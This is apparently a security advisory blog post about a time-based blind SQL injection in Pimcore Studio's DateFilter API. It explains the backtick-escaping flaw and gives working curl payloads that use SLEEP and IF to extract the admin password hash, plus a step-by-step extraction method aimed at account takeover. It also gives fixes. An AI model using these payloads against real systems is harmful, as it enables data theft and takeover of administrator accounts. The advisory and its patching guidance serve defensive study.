Listen to this Post
How CVE-2026-XXXX Works
This vulnerability is a time-based blind SQL injection found in Pimcore Studio’s backend API. It allows an authenticated, low-privileged user to extract sensitive data from the database by exploiting the `DateFilter` functionality. The core issue lies in the handling of user-supplied column names. In endpoints like /api/website-settings, the `key` parameter within a `columnFilters` array is taken directly from user input and placed into the SQL query.
The code attempts to wrap this column name in backticks for safety. However, this is done manually (' . `$key` . ‘') instead of using a secure quoting function like quoteIdentifier(). A malicious user can inject a backtick character into the `key` field, escaping the intended quoting. This allows them to break out of the column context and append their own malicious SQL.
The injection is powerful because the `DateFilter` uses hardcoded named parameters (:minTime, :maxTime). Since the injected text becomes part of the column name, it is not validated by PDO’s named parameter checks. This is in contrast to other filters like `EqualsFilter` or LikeFilter, which are also vulnerable to injection but use the column name as a PDO parameter, causing an error and preventing exploitation. The `DateFilter` is uniquely exploitable.
By appending a `– ` (double dash space) SQL comment, the attacker can comment out the rest of the original query, ensuring only their injected SQL is executed. A common technique used is to inject a `SLEEP()` function. A successful injection causes a noticeable delay in the server’s response. This delay can be used as a signal to extract data character by character using conditional `IF()` statements. For example, an attacker can test if the first character of the admin password hash is ‘a’. If true, the server pauses for 3 seconds; if false, it responds immediately. This time difference allows for the exfiltration of any database content.
DailyCVE Form:
Platform: Pimcore Studio
Version: 12.x (2026.x)
Vulnerability: SQL Injection
Severity: Critical
date: 2026-08-28
Prediction: 2026-09-30
What Undercode Say:
The vulnerability is present in multiple endpoints. A simple `curl` command can demonstrate the injection. To understand if the admin password hash starts with $2y$, you can use the following payload:
Baseline request
curl -X POST http://localhost:8095/pimcore-studio/api/website-settings \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=<AUTHENTICATED_SESSION>" \
-d '{"page":1,"pageSize":10}'
Unconditional SLEEP(3) injection
curl -X POST http://localhost:8095/pimcore-studio/api/website-settings \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=<AUTHENTICATED_SESSION>" \
-d '{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id<code>BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}'
Conditional SLEEP (TRUE case: password starts with $2y$)
curl -X POST http://localhost:8095/pimcore-studio/api/website-settings \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=<AUTHENTICATED_SESSION>" \
-d '{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id</code> BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}'
Exploit: (Educational Purposes!)
The exploit relies on injecting conditional payloads into the `key` parameter. An attacker would automate a process to iterate through characters of a target database column. For instance, to extract a user’s password:
1. Establish a Baseline: Record the normal response time of the server.
2. Inject a Test Payload: Craft a payload that uses an `IF()` statement with a `SUBSTRING()` function to test a specific character at a specific position.
3. Measure the Response Time: If the response is delayed (e.g., 6 seconds or more), the condition is TRUE, and the guessed character is correct. If the response is immediate, the guess is incorrect.
4. Repeat: Repeat this process for every character in the target string.
This technique allows an attacker to extract the bcrypt hash of the admin password, which can be cracked offline. More critically, it can extract the passwordRecoveryToken, which can be used to reset an admin’s password via the `/login/token` endpoint, leading to immediate and full account takeover.
Protection:
The recommended fix is to replace the manual backtick wrapping with a secure database quoting function or implement a strict allowlist.
1. Use quoteIdentifier(): This is the most straightforward fix. Replace all instances of manual wrapping with a call to Doctrine’s `quoteIdentifier()` method. This function will properly escape any internal backticks.
// Instead of: '<code>' . $key . '</code>' $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
2. Implement an Allowlist (Preferred): This is the most secure approach as it prevents any unexpected column names from being used. Define a list of allowed columns for each filter context and reject any input that is not in the list.
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
throw new InvalidArgumentException('Invalid filter column');
}
This fix should be applied to all affected DateFilter, EqualsFilter, LikeFilter, and the `Note/FilterService` as a defense-in-depth measure.
Impact:
The impact of this vulnerability is severe. An authenticated attacker can silently exfiltrate the entire contents of the Pimcore database. This includes, but is not limited to:
– Admin Account Credentials: Hashed admin passwords, which can be cracked, and password recovery tokens, which can be used for an account takeover.
– Sensitive Business Data: All PIM (Product Information Management) data, CMS content, asset metadata, and customer information.
– Session Data: The potential for session hijacking of other users.
– Privilege Escalation: Gaining admin access leads to complete control over the Pimcore instance, allowing for arbitrary code execution and full system compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
